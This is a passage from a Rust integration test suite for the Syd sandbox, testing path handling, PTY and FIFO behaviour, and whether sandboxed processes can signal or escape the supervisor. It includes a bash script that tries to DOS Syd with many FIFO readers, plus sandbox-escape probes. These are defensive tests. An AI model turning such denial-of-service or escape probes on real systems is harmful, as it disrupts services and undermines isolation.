        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("mkdir_trailing_dot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdirat_trailing_dot() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("mkdirat_trailing_dot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_rmdir_trailing_slashdot() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("rmdir_trailing_slashdot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdir_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/read,stat,write,create+/boot/***")
        .do_("mkdir_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdirat_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/read,stat,write,create+/boot/***")
        .do_("mkdirat_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mknod_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/read,stat,write,create+/boot/***")
        .do_("mknod_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mknodat_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/read,stat,write,create+/boot/***")
        .do_("mknodat_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fopen_supports_mode_x() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("fopen_supports_mode_x", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fopen_supports_mode_e() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("fopen_supports_mode_e", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_link_no_symlink_deref() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("link_no_symlink_deref", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_link_posix() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,delete,rename:on")
        .m("allow/read,stat,write,create,delete,rename+/***")
        .do_("link_posix", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_linkat_posix() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,delete,rename:on")
        .m("allow/read,stat,write,create,delete,rename+/***")
        .do_("linkat_posix", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_cp_overwrite() -> TestResult {
    skip_unless_available!("sh");

    // On a buggy Syd, the second cp fails with:
    // cp: cannot stat 'null/null': Not a directory
    let status = syd()
        .p("off")
        .m("sandbox/read,write,create,stat:on")
        .m("allow/read,write,create,stat+/***")
        .argv(["sh", "-cex"])
        .arg(
            r#"
cp /dev/null null
cp /dev/null null
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_getcwd_long_default() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,delete,chdir,readdir:on")
        .m("allow/read,stat,write,create,delete,chdir,readdir+/***")
        .do_("getcwd_long", NONE)
        .status()
        .expect("execute syd");
    assert!(status.success(), "status:{status:?}");

    Ok(())
}

fn test_syd_getcwd_long_paludis() -> TestResult {
    let status = syd()
        .p("paludis")
        .m("allow/all+/***")
        .m("lock:on")
        .do_("getcwd_long", NONE)
        .status()
        .expect("execute syd");
    assert!(status.success(), "status:{status:?}");

    Ok(())
}

fn test_syd_creat_thru_dangling() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("creat_thru_dangling", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdirat_non_dir_fd() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("mkdirat_non_dir_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_blocking_udp4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("trace/allow_safe_bind:0")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+loopback!65432")
        .m("allow/net/connect+loopback!65432")
        .do_("blocking_udp4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_blocking_udp6() -> TestResult {
    // Gitlab CI uses docker which has no IPv6.
    if *GL_BUILD {
        eprintln!("IPv6 not available on CI!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("trace/allow_safe_bind:0")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+loopback6!65432")
        .m("allow/net/connect+loopback6!65432")
        .do_("blocking_udp6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_close_on_exec() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .do_("close_on_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exp_open_exclusive_restart() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .do_("open_exclusive_restart", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_exp_open_exclusive_repeat() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .do_("open_exclusive_repeat", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_find_root_mount_1() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("findmnt");

    let status = syd()
        .p("off")
        .p("immutable")
        .argv(["sh", "-cex"])
        .arg("findmnt -no TARGET / > root")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let mut file = File::open("root")?;
    let mut data = String::new();
    file.read_to_string(&mut data)?;

    assert_eq!(
        data.lines().count(),
        1,
        "findmnt should return a single entry for rootfs"
    );

    Ok(())
}

fn test_syd_find_root_mount_2() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("findmnt");

    let status = syd()
        .p("off")
        .m("bind+/:/:nosuid")
        .p("immutable")
        .argv(["sh", "-cex"])
        .arg("findmnt -no TARGET / > root")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let mut file = File::open("root")?;
    let mut data = String::new();
    file.read_to_string(&mut data)?;

    assert_eq!(
        data.lines().count(),
        2,
        "findmnt should return two entries for rootfs"
    );

    Ok(())
}

fn test_syd_setsid_detach_tty() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,ioctl:on")
        .m("allow/read,stat,write,create,ioctl+/***")
        .do_("setsid_detach_tty", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_pty_io_rust() -> TestResult {
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .do_("pty_io_rust", NONE)
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_pty_io_gawk() -> TestResult {
    skip_unless_available!("gawk");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .do_("pty_io_gawk", NONE)
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_diff_dev_fd() -> TestResult {
    skip_unless_exists!("/dev/fd");
    skip_unless_available!("diff");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("diff_dev_fd", NONE)
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fifo_multiple_readers() -> TestResult {
    skip_unless_available!("bash");

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,chmod,mkfifo:on")
        .m("allow/read,stat,write,create,chmod,mkfifo+/***")
        .argv(["bash", "-c"])
        .arg(format!(
            r#"
# Attempt to DOS syd by spawning multiple FIFO readers in the background.
set -ex
nreaders=$(expr $({syd_cpu}) '*' 10)
fifo=$(env TMPDIR=. mktemp -u)
mkfifo "$fifo"
for i in $(eval echo {{1..${{nreaders}}}}); do
    cat "$fifo" &
done
# Give the cats a little time to settle and potentially block Syd.
sleep 30
# Execute a system call that Syd must intervene, this must not block.
touch "$fifo".done
rm -f "$fifo".done
# All good, unblock the cats and wait.
:>"$fifo"
wait
rm -f "$fifo" || true
"#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_bind_unix_socket() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+/***")
        .do_("bind_unix_socket", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exp_signal_protection_pidns_kill_one() -> TestResult {
    skip_unless_unshare!();
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());

    // kill(sydpid) does not propagate to syd.
    for sig in Signal::iterator() {
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .p("container")
            .do_("kill", ["1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        // syd denies with errno=0.
        assert_status_ok!(status);

        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .p("container")
            .do_("kill", ["-1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_denied!(status);
    }

    // kill(sydpid,0) does not propagate to syd.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .p("container")
        .do_("kill", ["1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    // syd denies with errno=0.
    assert_status_ok!(status);

    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .p("container")
        .do_("kill", ["-1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_code!(status, nix::libc::ESRCH);

    Ok(())
}

fn test_syd_exp_signal_protection_bare_kill_one() -> TestResult {
    skip_unless_available!("sh");
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());

    for sig in Signal::iterator() {
        // mass signaling is not permitted.
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("kill")
            .argv(["sh", "-cx", &format!("{} -1 {}", *SYD_DO, sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_denied!(status);

        // kill(sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("kill")
            .argv([
                "sh",
                "-cx",
                &format!("{} ${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        // syd denies with errno=0.
        assert_status_ok!(status);

        // kill(-sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("kill")
            .argv([
                "sh",
                "-cx",
                &format!("{} -${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        // syd denies with errno=0.
        assert_status_ok!(status);
    }

    // mass broadcast signal is OK.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("kill")
        .argv(["sh", "-cx", &format!("{} -1 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_ok!(status);

    // kill(sydpid,0) propagates to syd.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("kill")
        .argv(["sh", "-cx", &format!("{} ${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_ok!(status);

    // kill(-sydpid,0) won't work.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("kill")
        .argv(["sh", "-cx", &format!("{} -${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_code!(status, nix::libc::ESRCH);

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_tkill_one() -> TestResult {
    skip_unless_unshare!();
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());

    // tkill(sydpid) does not propagate to syd.
    for sig in Signal::iterator() {
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .p("container")
            .do_("tkill", ["1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        // syd denies with errno=0.
        assert_status_ok!(status);

        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .p("container")
            .do_("tkill", ["-1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_invalid!(status);
    }

    // tkill(sydpid,0) propagates to syd.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .p("container")
        .do_("tkill", ["1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_ok!(status);

    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .p("container")
        .do_("tkill", ["-1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_invalid!(status);

    Ok(())
}

fn test_syd_exp_signal_protection_bare_tkill_one() -> TestResult {
    skip_unless_available!("sh");
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());

    for sig in Signal::iterator() {
        // mass signaling is not permitted.
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("tkill")
            .argv(["sh", "-cx", &format!("{} -1 {}", *SYD_DO, sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_invalid!(status);

        // tkill(sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("tkill")
            .argv([
                "sh",
                "-cx",
                &format!("{} ${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        // syd denies with errno=0.
        assert_status_ok!(status);

        // tkill(-sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("tkill")
            .argv([
                "sh",
                "-cx",
                &format!("{} -${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_invalid!(status);
    }

    // mass broadcast with 0 is invalid.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("tkill")
        .argv(["sh", "-cx", &format!("{} -1 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_invalid!(status);

    // tkill(sydpid,0) propagates to syd.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("tkill")
        .argv(["sh", "-cx", &format!("{} ${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_ok!(status);

    // tkill(-sydpid,0) is invalid.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("tkill")
        .argv(["sh", "-cx", &format!("{} -${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_invalid!(status);

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_sigqueue_one() -> TestResult {
    skip_unless_unshare!();
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());

    // sigqueue(sydpid) does not propagate to syd.
    for sig in Signal::iterator() {
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .p("container")
            .do_("sigqueue", ["1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        // syd denies with errno=0.
        assert_status_ok!(status);

        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .p("container")
            .do_("sigqueue", ["-1", &format!("{}", sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_denied!(status);
    }

    // sigqueue(sydpid,0) does not propagate to syd due to kernel.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .p("container")
        .do_("sigqueue", ["1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_code!(status, nix::libc::EPERM);

    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .p("container")
        .do_("sigqueue", ["-1", "0"])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_code!(status, nix::libc::EPERM);

    Ok(())
}

fn test_syd_exp_signal_protection_bare_sigqueue_one() -> TestResult {
    skip_unless_available!("sh");
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());

    for sig in Signal::iterator() {
        // mass signaling is not permitted.
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("sigqueue")
            .argv(["sh", "-cx", &format!("{} -1 {}", *SYD_DO, sig as i32)])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        assert_status_denied!(status);

        // sigqueue(sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("sigqueue")
            .argv([
                "sh",
                "-cx",
                &format!("{} ${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        // syd denies with errno=0.
        assert_status_ok!(status);

        // sigqueue(-sydpid) does not propagate to syd.
        env::set_var("SYD_TEST_TIMEOUT", "10s");
        let status = syd()
            .log("warn")
            .p("off")
            .do__("sigqueue")
            .argv([
                "sh",
                "-cx",
                &format!("{} -${{PPID}} {}", *SYD_DO, sig as i32),
            ])
            .status()
            .expect("execute syd");
        env::set_var("SYD_TEST_TIMEOUT", &timeout);
        // syd denies with errno=0.
        assert_status_ok!(status);
    }

    // mass broadcast signal is not permitted.
    // Syd allows signal 0 but kernel denies with EPERM.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("sigqueue")
        .argv(["sh", "-cx", &format!("{} -1 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_code!(status, nix::libc::EPERM);

    // sigqueue(sydpid,0) does not propagate to syd.
    // Syd allows signal 0 but kernel denies with EPERM.
    env::set_var("SYD_TEST_TIMEOUT", "10s");
    let status = syd()
        .log("warn")
        .p("off")
        .do__("sigqueue")
        .argv(["sh", "-cx", &format!("{} ${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_code!(status, nix::libc::EPERM);

    // sigqueue(-sydpid,0) does not propagate to syd.
    // Syd allows signal 0 but kernel denies with EPERM.
    let status = syd()
        .log("warn")
        .p("off")
        .do__("sigqueue")
        .argv(["sh", "-cx", &format!("{} -${{PPID}} 0", *SYD_DO)])
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", &timeout);
    assert_status_code!(status, nix::libc::EPERM);

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_kill_all() -> TestResult {
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let mut i = 0;
    let big = nix::libc::pid_t::MAX as u64 + 3;
    let big = big.to_string();
    let nig = format!("-{big}");
    for sig in Signal::iterator() {
        /*
         * Processes by PID:
         * 1: Syd process
         * 2: Sandbox process
         * 3: Syd monitor thread
         * 1024: A valid process which doesn't exist.
         * 0: Zero which is an invalid proces ID.
         * big: A positive number which is an invalid PID.
         * nig: A negative number which is an invalid PID.
         */
        for pid in [
            "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
        ] {
            let errno = match pid {
                "0" | "1" | "2" | "3" | "-3" => 0,
                "-1" => nix::libc::EACCES,
                /*
                p if p == big => nix::libc::EINVAL,
                p if p == nig => nix::libc::EINVAL,
                */
                _ => nix::libc::ESRCH,
            };
            i += 1;
            env::set_var("SYD_TEST_TIMEOUT", "10s");
            let status = syd()
                .log("warn")
                .p("off")
                .p("container")
                .do_("kill", [pid, &format!("{}", sig as i32)])
                .status()
                .expect("execute syd");
            env::set_var("SYD_TEST_TIMEOUT", &timeout);
            if errno != 0 {
                assert_status_code!(status, errno);
            } else if pid != "2" {
                assert_status_ok!(status);
            } else {
                match sig {
                    Signal::SIGBUS
                    | Signal::SIGCHLD
                    | Signal::SIGCONT
                    | Signal::SIGSEGV
                    | Signal::SIGURG
                    | Signal::SIGWINCH => {
                        assert_status_ok!(status);
                    }
                    Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
                        assert_status_killed!(status);
                    }
                    _ => {
                        assert_status_code!(status, 128 + sig as i32);
                    }
                };
            }
        }
    }
    eprintln!("[!] {i} tests passed!");

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_sigqueue_all() -> TestResult {
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let mut i = 0;
    let big = nix::libc::pid_t::MAX as u64 + 3;
    let big = big.to_string();
    let nig = format!("-{big}");
    for sig in Signal::iterator() {
        /*
         * Processes by PID:
         * 1: Syd process
         * 2: Sandbox process
         * 3: Syd monitor thread
         * 1024: A valid process which doesn't exist.
         * 0: Zero which is an invalid proces ID.
         * big: A positive number which is an invalid PID.
         * nig: A negative number which is an invalid PID.
         */
        for pid in [
            "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
        ] {
            let errno = match pid {
                "0" | "1" | "2" | "3" | "-3" => 0,
                "-1" => nix::libc::EACCES,
                "1024" | "-2" | "-1024" => nix::libc::EPERM,
                p if p == big => nix::libc::EINVAL,
                p if p == nig => nix::libc::EINVAL,
                _ => nix::libc::ESRCH,
            };
            i += 1;
            env::set_var("SYD_TEST_TIMEOUT", "10s");
            let status = syd()
                .log("warn")
                .p("off")
                .p("container")
                .do_("sigqueue", [pid, &format!("{}", sig as i32)])
                .status()
                .expect("execute syd");
            env::set_var("SYD_TEST_TIMEOUT", &timeout);
            if errno != 0 {
                assert_status_code!(status, errno);
            } else if pid != "2" {
                assert_status_ok!(status);
            } else {
                match sig {
                    Signal::SIGBUS
                    | Signal::SIGCHLD
                    | Signal::SIGCONT
                    | Signal::SIGSEGV
                    | Signal::SIGURG
                    | Signal::SIGWINCH => {
                        assert_status_ok!(status);
                    }
                    Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
                        assert_status_killed!(status);
                    }
                    _ => {
                        assert_status_code!(status, 128 + sig as i32);
                    }
                };
            }
        }
    }
    eprintln!("[!] {i} tests passed!");

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_tkill_all() -> TestResult {
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let mut i = 0;
    let big = nix::libc::pid_t::MAX as u64 + 3;
    let big = big.to_string();
    let nig = format!("-{big}");
    for sig in Signal::iterator() {
        /*
         * Processes by PID:
         * 1: Syd process
         * 2: Sandbox process
         * 3: Syd monitor thread
         * 1024: A valid process which doesn't exist.
         * 0: Zero which is an invalid proces ID.
         * big: A positive number which is an invalid PID.
         * nig: A negative number which is an invalid PID.
         */
        for tid in [
            "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
        ] {
            let errno = match tid {
                "1" | "2" | "3" => 0,
                "0" | "-1" | "-2" | "-3" | "-1024" => nix::libc::EINVAL,
                p if p == big => nix::libc::EINVAL,
                p if p == nig => nix::libc::EINVAL,
                _ => nix::libc::ESRCH,
            };
            i += 1;
            env::set_var("SYD_TEST_TIMEOUT", "10s");
            let status = syd()
                .log("warn")
                .p("off")
                .p("container")
                .do_("tkill", [tid, &format!("{}", sig as i32)])
                .status()
                .expect("execute syd");
            env::set_var("SYD_TEST_TIMEOUT", &timeout);
            if errno != 0 {
                assert_status_code!(status, errno);
            } else if tid != "2" {
                assert_status_ok!(status);
            } else {
                match sig {
                    Signal::SIGBUS
                    | Signal::SIGCHLD
                    | Signal::SIGCONT
                    | Signal::SIGSEGV
                    | Signal::SIGURG
                    | Signal::SIGWINCH => {
                        assert_status_ok!(status);
                    }
                    Signal::SIGSTOP | Signal::SIGTSTP | Signal::SIGTTIN | Signal::SIGTTOU => {
                        assert_status_killed!(status);
                    }
                    _ => {
                        assert_status_code!(status, 128 + sig as i32);
                    }
                };
            }
        }
    }
    eprintln!("[!] {i} tests passed!");

    Ok(())
}

fn test_syd_exp_signal_protection_pidns_tgkill_all() -> TestResult {
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    let mut i = 0;
    let big = nix::libc::pid_t::MAX as u64 + 3;
    let big = big.to_string();
    let nig = format!("-{big}");
    for sig in Signal::iterator() {
        /*
         * Processes by PID:
         * 1: Syd process
         * 2: Sandbox process
         * 3: Syd monitor thread
         * 1024: A valid process which doesn't exist.
         * 0: Zero which is an invalid proces ID.
         * big: A positive number which is an invalid PID.
         * nig: A negative number which is an invalid PID.
         */
        for tgid in [
            "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
        ] {
            for tid in [
                "0", "1", "2", "3", "1024", &big, "-1", "-2", "-3", "-1024", &nig,
            ] {
                let errno = match (tgid, tid) {
                    ("1" | "3", "1024") => 0,
                    ("1024", "1" | "3") => 0,
                    ("1" | "2" | "3", "1" | "2" | "3") => 0,
                    ("0" | "-1" | "-2" | "-3" | "-1024", _) => nix::libc::EINVAL,
                    (_, "0" | "-1" | "-2" | "-3" | "-1024") => nix::libc::EINVAL,
